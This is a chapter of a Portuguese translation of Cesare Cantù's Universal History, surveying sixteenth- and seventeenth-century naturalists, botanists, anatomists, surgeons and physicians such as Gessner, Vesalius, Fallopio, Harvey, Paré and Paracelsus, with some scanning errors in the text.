Naturalistas e médicos – História Universal

Naturalistas e médicos – História Universal

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História Universal – Césare Cantu.- vol. 22

 

CAPÍTULO XXXVII

Naturalistas e médicos

Aristóteles, gênio maravilhoso, coligiu uma tal massa de notícias e pôs em prática uma síntese tio poderosa, que ainda, depois de tantos séculos, se deve contá-lo no número dos homens que marcham à testa das ciências naturais. Há uma enorme distância entre as suas obras e as compilações de Ateneu, de Opieno, de Eliano e mesmo de Plínio, todos homens de letras, mas não naturalistas. Estes autores, e sobretudo Eliano, foram não obstante mais estudados que Aristóteles na Idade Média; por isso então andaram errando sobre seus passos, estudando coisas extravagantes e milagres, em vez de se aplicarem às leis comuns, porque estavam bem longe então de pensar que as causas dos fenômenoi extraordinários não podem achar-se senão no exame dos acontecimentos habituais. O físico que houvesse estudado a queda de uma pedra ou o renovo próximo a rebentar teria julgado desdourar seu merecimento expor-se a ser tido por um louco, se dissesse que leis uniformes regiam o nosso planeta e os outros, a rotação do Sol e a pulsação da artéria; ora, na ausência de todo laço, considerava-se ainda a natureza como uma série de milagres.

Foi assim que operaram Isidoro de Sevilha, Alberto, o Grande, Manuel Filo, Vicente de Beauvais, outros compiladores que estudavam os livros e não a natureza. No entanto, o espírito de observação começava também a abrir caminho por este lado. A magia e a medicina taumatúrgica procuravam as partes mais ocultas e mais singulares das plantas, e o erro mesmo obrigava assim a recorrer à análise. Salviano, de Civita di Castela, ocupou-se, no décimo-sexto século, de ictiologia; Rondelet, primeiro professor de anatomia de Montpellier, submeteu a exame as asserções dos antigos: êle estabeleceu as bases da distribuição metódica seguida até os nossos dias, e muito pouco se há podido acrescentar ao que êle escreveu acerca dos peixes do Mediterrâneo. Belon, seu compatriota, ainda o excede: êle viajou no Levante e no Egito, de onde trouxe grande número de plantas exóticas; e deve-ram-se-lhe mais conhecimentos novos do que a todos os seus predecessores e a todos os seus contemporâneos juntos. Êle fêz observar a grande conformidade dos tipos na natureza, e comparou o esqueleto de um homem com o de uma ave, designando com nomes comuns as partes semelhantes. Foi isso um pensamento de grande ousadia para o tempo, e o primeiro passo dado para chegar a demonstrar a unidade da composição orgânica, de que Aristóteles tinha concebido a idéia teórica.

Conrado Gessner (1516-1565), compilador, assim como Wotton, Lonicer e outros, porém mais extenso e melhor crítico, aplica-se a todas as partes da história natural, imenso repositório das noções antigas e novas, que êle aumentou ainda com seus próprios conhecimentos. Couvier o proclama fundador da zoologia moderna. Copiado por Aldrovandi, resumido por Jonston, muitos autores extraíram dele sem o citar. Nós cremos que ninguém se resignaria a lê-lo, porém que pessoa alguma pode desprezar consultá-lo como resumo de todas as obras anteriores, completado pelos primeiros resultados da ciência moderna. Êle marca a passagem entre a era da compilação que acaba e a da observação que começa. Não estabelece classificações naturais, mas indica muitas vezes as relações que existem entre os seres. Considera cada animal segundo o nome que êle tem nas diferentes línguas, as afinidades filosóficas desses nomes com suas qualidades e seus sentidos na maneira de falar, tanto no próprio como no figurado, a aparência, o país, as ações naturais, os hábitos, o instinto, os usos para que serve, independentemente do alimento e dos medicamentos que dele se pode tirar, de que fala separadamente: vasto plano que revela um gênio hábil em classificações enciclopédicas. Gessner fundou, primeiro que qualquer outro, um gabinete de história natural. Contudo, apesar do descobrimento da América, poucos animais ajuntou aos que já eram conhecidos.

Ulisses Aldrovandi, de Bolonha (1527-1605), fugiu em menor idade da casa paterna para andar errante aqui e acolá, observando o que se lhe oferecia à vista. Depois consumiu em viagens o seu rico patrimônio, ocupado em procurar as raridades naturais e os objetos de arte. Êle teve a seu soldo, por espaço de trinta anos, um pintor de animais, mediante duzentos ducados, além de vários desenhadores, e gravadores. O senado da sua pátria, ao qual êle legou o seu rico museu com a sua biblioteca, o socorreu generosamente e empregou fortes somas para terminar a sua compilação, assim como a impressão de treze volumes da sua História Natural. As partes acabadas pelo autor, e muito melhores que as outras, são a ornitologia e a entomologia, a que se acham juntas belas gravuras em madeira, com descrições breves e exatas. Desgraçadamente conforma-se com a mania de erudição do seu tempo, acumulando as citações poéticas, mitológicas, heráldicas, misturando as reminiscências com as observações, as invenções dos homens com as verdades naturais. Êle substituiu a ordem alfabética de Gessner por uma classificação sistemática, mas fazendo entrar nisso todas as espécies sonhadas pela imaginação. Buffon teve portanto razão para dizer que a obra toda podia ser reduzida à décima parte, porém o que restasse não seria para desprezar.

No entanto muitas pessoas tomavam gosto por este gênero de estudos; e, o que era o verdadeiro modo de os aperfeiçoar, elas se ocupavam de alguma parte especial. Assim Fábio Colonna ocupava-se das conchas, Olina das aves, Tomás Mouffet dos insetos, ao passo que Maregraf e outros andavam coligindo novos indivíduos em longínquas regiões. Mais tarde, o escocês Jonston (1653), estabelecido na Silésia, compilou tudo quanto ali tinha aparecido a respeito desta ciência, juntando-lhe estampas em cobre.

Clusius (da Écluse) publicou em 1605, na Exótica com extratos de obras antigas, algumas novas espécies de macacos, os mani, ou grandes formigas escaminosas do mundo antigo, a preguiça de três dedos, um ou dois tatus e o cisne-encapuzado, majestoso galináceo hoje perdido.

Fabrício de Acquapendente publicou um livro sobre a linguagem dos animais, rico assunto que ainda não foi suficientemente estudado. Porque se trataria de examinar se os animais têm realmente uma linguagem, em que consiste ela, a que ponto difere ela da do homem, em que a empregam eles, como exprimem eles os seus afetos, como alcançam compreender-se, finalmente qual é o órgão que lhe serve para esse fim.

Fabrício prova, pela autoridade dos escritores e pela experiência, especialmente a dos caçadores e dos pastores, que os animais falam. Ora, os animais, variando a emissão dos sons, fazem nisso o que nós fazemos com os sons literais. Os animais possuem portanto a palavra, como o homem, e formam sons elementares que têm um tempo determinado. Porém, a nossa palavra é mais complexa, porque ela tem sons elementares mais rápidos e mais numerosos. Como nós temos além disso lábios e língua mais flexíveis, resulta daí a variedade e a complicação, que formam a linguagem humana.

Os animais servem-se de certos recursos para manifestar suas emoções. Exprimem-se, continua Fabrício, pelo gesto, pelo olhar, pelo som, pelo grito, pela palavra. Assim um cão que quer pôr outro fora de um sítio em que tem vontade de se colocar, começa por olhá-lo de través; depois faz movimentos significativos, mostra em seguida os dentes e acaba por ladrar. Os bichos e os outros animais inferiores possuem unicamente os dois primeiros modos; certos peixes emitem um som, ou pelas barbatanas, ou pelas guelras. Êle não quer que os insetos tenham voz, apesar de exprimirem seus sentimentos por meio de sons. Os bois, os veados e outros quadrúpedes têm antes uma voz que uma linguagem. Porém acha uma verdadeira linguagem nos gatos, nos cães, nos pássaros, posto que seja inferior a do homem, o qual articula mais distintamente.

Os animais compreendem o que nós dizemos; nós i devemos portanto com mais razão compreendê-los. Fabrício examina no cão e na galinha quais são as expressões das quatro paixões, da alegria, do desejo, da dor e do medo, confessando todavia que não aprendeu muito com esse estudo. Êle acaba demonstrando que nenhum dos animais poderia rivalizar com o homem, por isso que o seu principal instrumento é a garganta, que nos serve para articular as vogais.

Porém têm os animais a faculdade de se comunicar entre si sobre casos particulares? e até que ponto associam eles idéias à linguagem do homem? Isso são problemas em que êle não tocou, e que os nossos filósofos ainda não resolveram.

Jorge Valia, Marçal Virgílio, Ermolaus Bárbaro, nobre veneziano; Nicolau Leoniceno e João Manardo limitaram-se a comentar os antigos botânicos; mas as viagens, tão numerosas então, faziam sentir que ainda se não tinha dito tudo a este respeito. Oviedo de Valdês descreveu primeiro que outro autor, as plantas que tinha visto na América, o que foi imitado por Cabeza de Vaca, Lopez de Gomara, Thevet, Leri, Monardes e Acosta; outros trouxeram novas plantas da Ásia e da África. Reconheceu-se então a oportunidade dos jardins botânicos e o ferrarense Antônio Musa Brasa-vola fundou um na sua cidade natal; posteriormente instituiu-se uma cadeira em Pádua para os símplices, e Lucas Ghini juntou-lhe um jardim; houve também um em Florença, e o grão-duque Fernando enriqueceu o de Pisa com plantas originárias da Ásia e da América.

As primeiras estampas botânicas parecem ter sido as que foram insertas em 1480 no poema De viribus plantarum, de Emílio Macro; a estas estampas seguiram-se, em 1493, as da obra de Pedro Crescenza (1559). Mar anta publicou uma obra sobre o método a seguir para o estudo das plantas medicinais; Próspero Alpino descreveu o cafeeiro. Porém, estudava-se por curiosidade, ou para a aplicação dos medicamentos: pelo que os catálogos eram feitos por ordem alfabética. Gessner os distribuiu melhor do que distribuíra os animais, não segundo as folhas e as raízes, mas segundo órgãos mais constantes, como as flores, os frutos, as sementes; êle fundou, deste modo, ou pelo menos conduziu a uma classificação mais natural. Joaquim Camerário (1598), amigo particular de Melanch-ton, deixou várias obras de botânica. Conta-se entre os fundadores da ciência os belgas Lobel e Dodoens, assim como Carlos da Écluse, de Arras, que lhe introduziu a elegância do estilo, ensinando que se podia dizer tudo sem dizer demasiado. Citaremos também Jerônimo Buck (Tragus), de Heydesbech (1498-1554), bom médico, observador cheio de paciência, que, em sua obra sobre a botânica, se apoia sempre sobre os sinais característicos das espécies.

André Cesalpino, de Arezzo, grande em todas as ciências que abrangeu, agrupou muito melhor ainda as plantas em classe, segundo a forma e a disposição dos órgãos da frutificação, e especialmente a respeito dos cotiledôneos. Êle assinalou a conformidade das sementes com os ovos dos animais, e emite várias verdades, cuja exatidão foi mais tarde reconhecida. Ninguém, até Linneu, lhe foi superior. Infelizmente não se conservou sempre fiel ao seu método; além de que, desprezando a sinonímia das espécies, êle impedia os homens estudiosos de aproveitarem os trabalhos pre-J cedentes. A isso pois deu remédio João Bauhin (1541-1613), de Amiens, que, tendo-se refugiado na Suíça por opiniões religiosas, se ocupou em toda a sua vida do estudo das plantas. Êle compôs uma história universal sobre esta matéria publicada alguns anos depois da sua morte, e em que se acha descrito com uma precisão histórica tudo quanto se sabia então sobre esta matéria. Êle foi excedido em reputação por seu filho Gaspar (1560-1624), que deu à luz o Pinax com a nomenclatura de seis mil plantas, seus sinônimos e diferenças genéricas e específicas. Êle se ligou contudo às distinções antigas, apesar de não ignorar o sistema natural. O Theatvum botanicum de Parkinson é ainda superior.

As bases da botânica pela distinção dos gêneros foram estabelecidas, em 1606, no Ecphrasis de Colonna, que aproveitou as idéias desprezadas de Cesalpino. Primeiro que qualquer outro, êle substituiu as gravuras em cobre pelas gravuras em madeira. Já o napolitano Porta tinha dado a primeira indicação relativamente à semente dos cogumelos: o boêmio Zaluziansky tratava, em 1592, da geração das plantas (Methodi herbariae libti III, Praga), distinguindo as andróginas das que têm sexo distinto. Êle indica os estames {linguloe), a antera {apex) e o pistilo {statnen).

As primeiras averiguações mineralógicas tinham tido lugar na Itália, porém em breve a Alemanha lhe tomou a dianteira, em virtude de suas riquezas mais consideráveis nesse gênero. Leonardo de Pesaro compilou os antigos, misturando-lhes a cabala e a alquimia. Jorge Agrícola (Bauer) (1491-1555), médico dos mineiros saxónicos, mostrou-se verdadeiro observador, apesar de se ocupar mais particularmente da metalurgia.

Êle coordenou, primeiro que nenhum outro, os fósseis, segundo o seu aspecto exterior, a sua solidez e os seus usos. Enumera os livros conhecidos até então sobre os metais e que consistiam em um tratado alemão sobre o ensaiamento, um outro tratado inglês sobre as veias, um italiano sobre a fusão e a separação. Como testemunha que tinha sido dos trabalhos dos mineiros, não acredita nas charlatanices da pedra filosofal, nem na varinha de condão, por meio da qual certos indivíduos pretendiam descobrir as veias da água e dos metais, coisa que nós temos visto reproduzir-se nos nossos dias. Êle já era altamente estimado em sua vida. Sendo católico zeloso, os protestantes lhe recusaram sepultura, e o seu cadáver, com universal indignação, ficou abandonado por espaço de cinco dias.

A formação de uma coleção de fósseis em vastas proporções pareceu a Sixto V dever ser para o seu pontificado uma nova ilustração. Êle decretou, em conseqüência, que se ajuntasse à biblioteca e à imprensa, no palácio do Vaticano, uma metaloteca para depósito dos minerais provenientes de todas as partes do mundo; o cuidado de os ordenar foi confiado a Miguel Mercati. de San Miniato. "Não faltam, diz este pontífice, sábios que têm escrito sobre tais matérias: mas quais são os que têm exposto à vista as figuras exatas, esclarecendo tantos pontos obscuros, publicado obras especiais? Se alguns têm tocado estas matérias de passagem encaminham-se para a heresia, pelo que convém preparar uma outra fonte que não tenha perigo".

Mercati, elevado às nuvens por seus contemporâneos, relacionado com os papas, com os reis e com os sábios mais distintos, não seguiu nenhuma divisão natural na descrição desse museu, mas sim as dos armários onde eram distribuídos os diversos fósseis, expondo as virtudes de cada um, e as diferentes opiniões que tinham corrido a seu respeito. Todavia agrada observar esses começos de paleontologia, ciência que tinha de vir a ser capital. Mercati só reconhece nas ossadas fósseis concreções extravagantes e as reúne em um armário distinto, com o nome de idiomorfi, ou pedras de uma figura particular, como "um inocente divertimento da natureza, que quis dar-nos as primeiras lições de escultura e de pintura". Conhece-se no entanto que já alguns as consideravam como destroços do reino animal, pelas refutações em que êle demonstra que jamais elas teriam podido ser levadas ao cume das montanhas e ao fundo dos abismos. Porém Cesalpino, mestre de Mercati, teve uma idéia mais pura dessa ciência nascente, e escreveu para refutar o seu discípulo.

Gessner não decide se as estalactites são produzidas por animais como a maior parte acreditava então, ou por forças inorgânicas. Erkorn tratou da docimás-tica. Bernardo Palissy, fabricante e pintor de porcelanas, introduziu em França (1575) este gênero de estudos: êle formou um gabinete, e adivinhou que as conchas fósseis não tinham podido ser depositadas sobre as montanhas pelo dilúvio de Noé. Jerônimo Fracastor de Verona, empregando a sua atenção sobre as conchas fósseis, sobre as estampas de peixes e de outros animais ou vegetais que se acham nas pedras, principalmente no monte Bolça, concluiu de sua maneira que eles não podiam ter sido sepultados na mesma época. Um dos médicos e dos sábios mais ilustres do seu tempo, êle substituiu a ação dos átomos às causas ocultas, e considerou os corpos como atraindo-se uns aos outros. Determinou um princípio imponderável aos fenômenos elétricos, magnéticos e fisiológicos; deu a primeira idéia das lentes astronômicas nos Omocentrici e, combatendo os epiciclos, preparou o caminho para o sistema de Copérnico. Depois dele, Cesalpino dispôs a mineralogia de maneira a conduzir aos sistemas que se fundavam sobre a composição.

Havia também então muito gosto por esses museus em que se amontoavam objetos raros de toda espécie, e mesmo animais extravagantes fabricados de propósito por charlatães. Porém isso era ainda um útil socorro em uma tão grande penúria de meios. Entre esses fazedores de coleções distingue-se o Provençal Nicolau Peiresc (1580-1637), descendente de uma família italiana. Animado, desde seus primeiros anos, do desejo de adquirir conhecimentos, como era de uma saúde muito débil, aplicou-se às letras como amador, e empregou as suas riquezas em coligir objetos raros de artes e de ciências; porém, o tempo em que vivia o levou a exames de interesse mais real. Êle viajou muito, e foi acolhido em toda parte com distinção. Estudou as petri-ficações e os zoófitos, sem todavia os suspeitar de substâncias animais. O jardim que êle formou era digno de um rei. É a êle que a Europa deveu o jasmim da índia, a abóbora de Meca, o papiro do Egito. Foi o primeiro que plantou o gengibre e outras plantas do Oriente, assim como o coqueiro. Apenas teve conhecimento das descobertas de Galileu, êle tratou de obter um telescópio; e, tendo observado os satélites de Júpiter, compreendeu que eles poderiam servir para determinar as longitudes. Porém pouco cuidado lhe dava completar ou publicar aquilo que êle tinha descoberto, contentando-se com pô-lo ao serviço daqueles que se lhe dirigiam, e com proteger todo aquele que tinha instrução. Gas-sendi, um desses por quem êle se interessou, publicou a sua vida, e resta déle urna correspondencia muito extensa com os mais distintos de seus contemporâneos

A química continuou laboriosamente em busca da pedra filosofal e da panaceia universal até o momento em que Basilio Valentino lhe introduziu algumas ino vações. Não se compreende nada do seu tratado sôbre a potência do stibium denominado por ele antimonio a não ser seus ataques contra Hipócrates, Galeno e contra os médicos contemporâneos. O importante papel que representa esta ciência na medicina de Paracelso lhe deu algum impulso; e os rosas-cruzes, querendo regenerar a alquimia, levaram a filosofia a explicar a química. No entanto, a Faculdade de Medicina de Paris, assim como repelia a circulação do sangue porque era uma inovação, declarava todos os químicos envenenadores, e o antimonio um veneno em todos os casos. Podia-se já prever todavia que esta ciência iria avultando pela leitura das obras de Van Helmont, que fêz felizes aplicações dela, apesar do seu entusiasmo pelas ciências ocultas.

A anatomia tinha sido reavivada por Mondino, de Bolonha, cujo livro foi durante três séculos o único texto em uso em todas as escolas da Itália; porém acrescentavam-se-lhe, à medida que ocorriam, as novas descobertas, em forma de comentário. Nós distinguiremos entre seus sectários aquele Jacá de Berengário (1521), natural de Carpi e professor em Bolonha, a quem Portal faz honra de várias descobertas, entre outras a da membrana situada adiante da retina, descoberta atribuída a Alpino. Êle foi o primeiro que juntou figuras ao texto, aproveitando assim as belas-artes, do mesmo modo que elas tiravam vantagem da anatomia. Leonardo da Vinci, depois de ter meditado sobre o corpo humano, auxiliando-se da ciência e da filosofia, publicou um tratado de anatomia para uso dos pintores. Outros o imitaram, e entre esses Alberto Durer (De luimani corporis simmetria, 1524), exprimindo os homens e as mulheres por línguas geométricas, aplicação científica levada ao excesso, e que não serviu para coisa alguma. Guálter Ruff (1541), médico de Estrasburgo, formou dezenove tábuas anatômicas melhores que as de Berengário.

Em França, distinguiam-se Guido de Chauliac e o alemão Gunter, que foi o primeiro que professou a anatomia em Paris, e descreveu o organismo do ouvido, negando que o ar congênito fosse o seu órgão imediato.

Gaspar Tagliacozzi ensinou o enxerto animal, mas contava-se já diferentes casos de lábios e de narizes consertados na Sicília desde o ano 1400, operação afinal mais extravagante do que útil. O acaso descobriu ao provençal Pedro Franc (1560) o grande aparelho; e a litotomia foi facilitada por diversos processos.

André Vesale, nascido em Bruxelas de uma família de médicos, conheceu, dissecando todos os animais que podia obter, e posteriormente homens nas escolas e nos cemitérios, quanta ignorância havia na pretendida sabedoria dos antigos; e reconheceu que as observações de Galeno tinham sido feitas em macacos. Ousou portanto proclamar os seus erros, apesar da admiração de seus contemporâneos. Chamado como professor a Pavia (1539), a Bolonha e a Pisa, ele publicou em Veneza estampas anatômicas que fizeram tanta bulha como a descoberta de um novo mundo. Depois, aumentou-as e completou-as (1543). Êle porém tributou a Galeno uma homenagem muito superior à de seus admiradores, escandalizados, aprendendo com êle a necessidade de fundar a medicina sobre a anatomia. Esta última ciência era de tal modo desprezada então, que se tratavam as contusões mesmo e as luxações com drogas e julepos. Carlos V pediu aos teólogos de Salamanca uma consulta formal sobre saber se se podia, sem pecado e em segurança de consciência, abrir cadáveres humanos para conhecer a sua estrutura. Ora, Vesale dedicou precisamente a sua obra De humani cotpotis fabrica, ao "divino Carlos V, grandíssimo e invencibilíssimo, imperador"; mas deve-se perdoar-lhe essas adulações, por atenção à necessidade que êle tinha de protetor contra os orgulhosos que confundiam o anatomista com o barbeiro, e contra os pedantes indignados de que um mancebo de vinte e oito anos ousasse censurar Galeno. Eles o atacaram com furor, principalmente em França. O próprio Sílvio, seu mestre, chamou-o estudantinho presunçoso; e, não podendo negar os erros, de Galeno, chegou a sustentar que os homens tinham mudado depois do seu tempo, e que a natureza variava caprichosamente em suas obras.

O divino e invencibilíssimo Carlos V não foi surdo às insinuações malévolas, e ordenou que se instaurasse pleito acerca desse livro. Vesale ficou por tal modo indignado, que lançou ao fogo vários manuscritos. Êle triunfou contudo; mas, feito médico da corte, deixou o seu espírito entorpecer-se em meio dos louvores dos ataques hostis. É verdade que êle raras vezes achava ocasião de exercer a sua arte, a tal ponto que se queixa não ter obtido sequer um crânio na Espanha. Tendo um senhor morrido de uma moléstia desconhecida, êle rogou aos parentes que lhe permitissem fazer a autópsia daquele cadáver; porém eles pretendem depois que o coração se agitou debaixo do escalpelo e acusam Vesale de homicídio perante os tribunais e de impiedade à Inquisição. Vesale foi condenado à morte. Filipe II comutou a pena em banimento. Êle então passou a Veneza, aí embarcou para Chipre e Jerusalém, com Malatesta de Rímini, como cirurgião militar, mas na volta naufragou sobre as costas de Zante, onde morreu de fome.

Então a anatomia tomou mais rasgado vôo. O modenês Gabriel Fallopio (1523-1562) discípulo de Vesale, convenceu-o, não obstante respeitá-lo, de vários erros, especialmente a respeito dos músculos abdominais. Êle deu prova de uma sagacidade e de uma delicadeza sem iguais, descobrindo os ossos tão frágeis de um sistema acústico, a composição das fossas nasais, da maxila, do esterno, do sacro; e deixou o seu nome aos canais colaterais do útero.

Êle refutou em miologia a opinião de Galeno sobre a fibra muscular, negando que os nervos lhe servissem de coisa alguma e demonstrando que a ação destes cessava onde as fibras são cortadas na altura, o que não tem lugar se a incisão se faz ao comprido. Em angiologia não conheceu a pequena circulação, e acreditou com Galeno que as artérias eram canais que conduziam os espíritos vitais do coração a todo o corpo. Êle emendou com justiça os erros concernentes ao intestino, ceco, e descreveu com exatidão o epíploon assim como o piloro; fêz conhecer também o mediastino, a pleura e a glândula lacrimal. Acreditou com Galeno que os nervos derivavam do cérebro, e não do coração, como Aristóteles; mas hesitou nesta parte. Êle explorava cadáveres humanos, não o de animais; dissecava até seis ou sete por ano. Ainda mais, o duque de Toscana lhe abandonava de quando em quando um condenado à morte, quem interficimus, diz êle, modo nostro et anatomizamus. O médico aviltava-se ao papel de algoz (1). Possuindo Carlos IX um bezoar que supunha impedir envenenamentos, fêz-se a experiência num homem condenado à forca: deram-lhe sublimado corrosivo, e êle morreu em dores atrozes. Quando Henrique II foi ferido mortalmente num torneio, cortaram-se as cabeças de quatro criminosos para as levar aos cirurgiões, a fim de que, ferindo-as com lanças no mesmo sítio em que o rei havia sido ferido, eles pudessem descobrir em que partes tinham podido entrar as lascas das que lhe tinham sido mortais.

A honra de ter descoberto a atadura do ouvido pertence ao siciliano João Filipe Ingrassia (1580), que restaurou a anatomia na Universidade de Nápoles, e se conduziu como herói por ocasião da peste de 1575.

Santore Santori, de Capo d’ístria (1561-1636), sofreu durante trinta anos o martírio de viver sob balanças, para constatar os fenômenos ainda não observados da transpiração cutânea. Constâncio Varolio, seu compatriota, dirigiu os seus exames ao cérebro, em que a ponte de Varolio tem conservado o seu nome, e aos nervos ópticos, cujo vestígio seguiu até à medula dilatada. Frei Paolo Sarpi observou a contração e a dilatação da úvea.

Eustáquio, professor do colégio da Sapiência em Roma deixou um tratado capital sobre os rins, veia ázigos, e a estrutura dos dentes; formulou além disso quarenta e seis grandes estampas, que ficaram inéditas por falta de meios suficientes. Quando depois Clemente XI as mandou gravar em 1714 por Lancisi, viu-se que, se tivessem sido conhecidas, elas teriam reservado para o seu autor a glória dos Bartolinis, dos Bellinis, dos Pequets, dos Lavateres e de outros mais.

(1) Mas assegura-se que esta passagem foi interpolada quarenta anos depois da sua morte.

Júlio César Aranzi, de Bolonha, examinou primeiro que qualquer outro, com atenção, o feto e seus desenvolvimentos, preparando assim o caminho para essa organogenia que apenas acaba agora de nascer. Tirando proveito das idéias de Ricardo Colombo, concernentes à circulação do sangue, êle derribou as idéias dos antigos sobre esta matéria, fazendo-o passar não mais pelos poros do septo, mas pela veia arterial, aos pulmões; seus adiantamentos foram contudo embargados, assim como os de Colombo, por esse erro então geral, de que o fígado era o órgão da sanguificação.

La Vasseur mostra que êle conheceu em 1540 a circulação pulmonar, assim como as válvulas das artérias e das veias. Esse Miguel Servet, cujos erros e triste fim já deploramos, descreveu a pequena circulação do pulmão na Christianismi restitutio, obra queimada por Calvino com seu autor; e que é de 1535, e não no tratado de Trinitatis errotibus. Jacques Sílvio (Dubois), discípulo de Gunter, foi o primeiro que concebeu a importante idéia de dar um nome a cada músculo; êle descreveu também as válvulas das veias, o que levou ao descobrimento da grande circulação.

Julião Fabrício (1537-1619), de Acquapendente, continuou a tarefa de Vesale, generalizando as observações deduzidas da anatomia do homem pela comparação com outros animais. Êle estudou particularmente as veias, e observou que as válvulas eram dirigidas para o coração, do que pareceria resultar que o mérito desta descoberta lhe pertenceria mais do que a Sarpi.

O inglês Guilherme Harvey (1578-1658) estudou como êle em Pádua até 1602, negando a geração equívoca que Redi já combatera, e estudou a evolução dos ovos, ainda que a falta de microscópios o fêz cair

em erros. Ensinou em Londres, desde 1619, a circulação do sangue; depois a sua obra de Motu sanguinis et cordis, publicada em 1628, deu o último golpe no antigo edifício. Não se poderia duvidar que a circulação já era conhecida na Itália, e que Harvey aprendeu de Eustáquio Rudio, que ele copiou sem o citar, as verdadeiras funções do sistema vascular: unicamente os progressos então feitos pela anatomia experimental lhe permitiram abandonar as frases viciosas em que seu predecessor se havia embaraçado, e determinar mais claramente o mecanismo geral da circulação. Honrado na sua pátria, médico dos reis, que lhe forneciam animais e meios de estudos, sustentado pelo colégio de Londres, êle pôde estender o seu renome, e ver atribuírem-lhe uma descoberta em que êle com toda a certeza tinha sido precedido.

A cirurgia e a medicina, necessariamente, se foram assim adiantando. O uso das armas de fogo conduziu a novos exames cirúrgicos, e a obra do napolitano Afonso Ferri de Sclopetorum vulnetibus (Lião, 1554), é, ainda que pouco conhecida, de uma importância capital. Um médico de Turim, que tinha um segredo para curar esses ferimentos, cedeu-o a Ambrósio Paré (1509-1590), que lhe atribuiu um valor mais proporcionado ao preço da compra do que à sua eficácia real. Paré foi um dos mais distintos práticos: êle repôs em uso, se não inventou, a ligadura imediata dos vasos, em vez de escarificar e de cauterizar; ensinou a tratar as fraturas complicadas com ferimentos, e outros processos que ainda hoje são seguidos; estabeleceu comparações gerais do esqueleto humano com o dos quadrúpedes e da ave, e pensou que os miasmas contagiosos entram pelo olfato. Foi médico de Francisco I, de

Henrique II e de Carlos IX, que o salvou da matança de São Bartolomeu. O provençal Jacques Guilherme, seu discípulo, aperfeiçoou o trépano.

A obstetrícia tornou-se também menos cruel. A primeira experiência da incisão cesariana sobre uma pessoa viva, foi feita por Nufer Castraporci, no Tur-gan. Francisco Rousset, médico do duque de Sabóia, escreveu sobre esta operação uma obra muito estimada; e outras experiências tiveram feliz resultado.

Os cirurgiões nem por isso deixavam de ser reputados ainda de uma condição inferior, e lhes era preciso fazer a sua aprendizagem com barbeiros, varrendo a loja, penteando e tirando calos. Quando a sua corporação obteve em Paris privilégios que a punham em igualdade com a dos médicos, estes conceberam um despeito inexprimível e ligaram-se contra eles com os barbeiros; mas isso não obstou a que os cirurgiões fossem admitidos finalmente como membros da universidade.

No que respeita à medicina, melhores traduções dos autores gregos convenceram da pobreza das versões árabes e dos comentadores muçulmanos. Leonardo Fuchs, de Venbdingen, na Baviera, disputou o título de príncipe da medicina a Avicena, para o restituir a Hipócrates e a Galeno. João Batista Montano e Marsílio Cognati, ambos de Verona, restauraram, por suas publicações e pela prática, a escola do pai da medicina; Jacinto Houlir ajuntou esclarecimentos a seus livros, e mais ainda Luís Luret, do Delfinado, seu discípulo, assim como Anúncio Foes, de Metz. Os termos técnicos são explicados nas definições médicas de Corvis, com um grande conhecimento da língua e da ciência.

Tivemos de desterrar para entre os charlalães Paracelso, que foi um estorvo para a Alemanha por causa da preocupação que aí excitou, como os autores árabes na Espanha. No entanto, um certo número de alquimistas se tornavam bons médicos, e apresentavam os verdadeiros princípios da economia viva, e a necessidade de separar o seu estudo do da matéria morta, por isso que leis diferentes regem os corpos vivos e os objetos inanimados.

Este mesmo Paracelso prestou à ciência serviços reais, pondo em uso novos medicamentos, ou empre gando-os com mais ousadia. Suas curas milagrosas eram devidas ao mercúrio e ao ópio. Ignoravam-se quase as preparações do primeiro, e os médicos tinham o outro em horror, como frio o no quarto grau. Porém Paracelso tinha-o visto empregado mui freqüentemente na Turquia, e introduziu, para lhe fazer antagonismo, o tártaro, assim chamado porque queima os pacientes como o inferno, mediante o ácido que contém com água, o sal e o óleo. Êle assinalou os principais defeitos da medicina no tempo em que vivia; e, indicando as refor mas necessárias, metendo a ridículo a antiga farmacopeia, levou a crer possíveis certas inovações, e por conseguinte, a deixar de ter contra elas uma repugnância sistemática. Infelizmente insultava com imprudência aqueles a quem copiava, e "amotinava a multidão, em vez de a conduzir a uma mudança, o que teria podido fazer com a sagacidade original de que era dotado, e que, sem ser gênio, conduz a descobertas de que a moderação tímida é incapaz.

Alguns médicos, seguindo o seu exemplo, teimavam no emprego dos específicos sem dar atenção aos sintomas; outros industriavam-no a enxertar na teoria de Galeno o que lhes parecia admissível em Paracelso; outros mais entraram a combatê-lo ousadamente, e em particular Gaspar Hoffman no livro De barbarie immi-nente.

Já mais de um médico ousava afrontar os perigos a que se expõe aquele que sai do caminho trilhado. Pedro Ramus tinha dado o exemplo infamando Aristóteles e os escolásticos. Depois dele, João Fernel, de Amiens (1497-1558), buscou a verdade na natureza, em vez de a ir procurar em Galeno ou em Hipócrates. Vê-se aparecer o livre uso da razão em João Selvático, professor em Pavia, em Júlio Alexandrino de Neustein, em Servet, em Pedro Brissot (1513-1572). João Argenterio, de Chieri, fêz-se contraditor de Galeno e dos admiradores dos antigos na universidade reconstituída de Turim, repudiando as razões sofísticas do horror do vácuo, e a multidão dos espíritos, a que recorria a escola galénica para explicar as diversas funções: êle tirou à vontade da alma a força mediadora para a atribuir às leis da natureza; negou que as diferentes faculdades intelectuais residissem nas partes determinadas do cérebro, que as veias nascessem do fígado; e tratou do sono de uma maneira razoável. Jerônimo Capovacca, seu discípulo, professor em Pádua, combateu também Galeno, porém nem sempre soube separarse déle.

Outros bons observadores dissiparam casos geralmente acreditados, que todavia não tinham existência senão na imaginação desses autores. Mas nisso mesmo eles davam a preferência aos casos estranhos; não sabiam libertar-se inteiramente dos métodos escolásticos e das pretendidas qualidades elementares. O tratamento era dirigido contra os sintomas; dava-se uma importância extrema à urina e aos casos críticos, de

que Fracastor fez objeto de uma teoria muito engenho sa, mas inteiramente especulativa.

Era preciso coragem para combater erros velhos de alguns séculos; não lhes devemos portanto levar a mal que tenham conservado alguns restos da rotina sofistica. Custa a crer que uma contenda não menos estrondosa que a da religião rebentasse quando Brissot elegou a necessidade de sangrar o mais longe possível da sede da inflamação, na que os médicos se dividirám em dois campos rivais: em sequazes da sangria à árabe ou à grega, da revolução ou da derivação, sistemas que baquearam logo que se conheceu a circulação. Leão Botalli, de Ásti, ensinou que do mesmo modo que quan to mais água má se tira de uma fonte, maior é abun dância da boa que vem, quanto mais leite se chupa tanto melhor é aquele que se prepara no peito, assim o sangue se reproduzia de melhor qualidade. Houve então um dilúvio de sangrias para curar todas as moléstias, e para dar remédio à corrupção dos tumores.

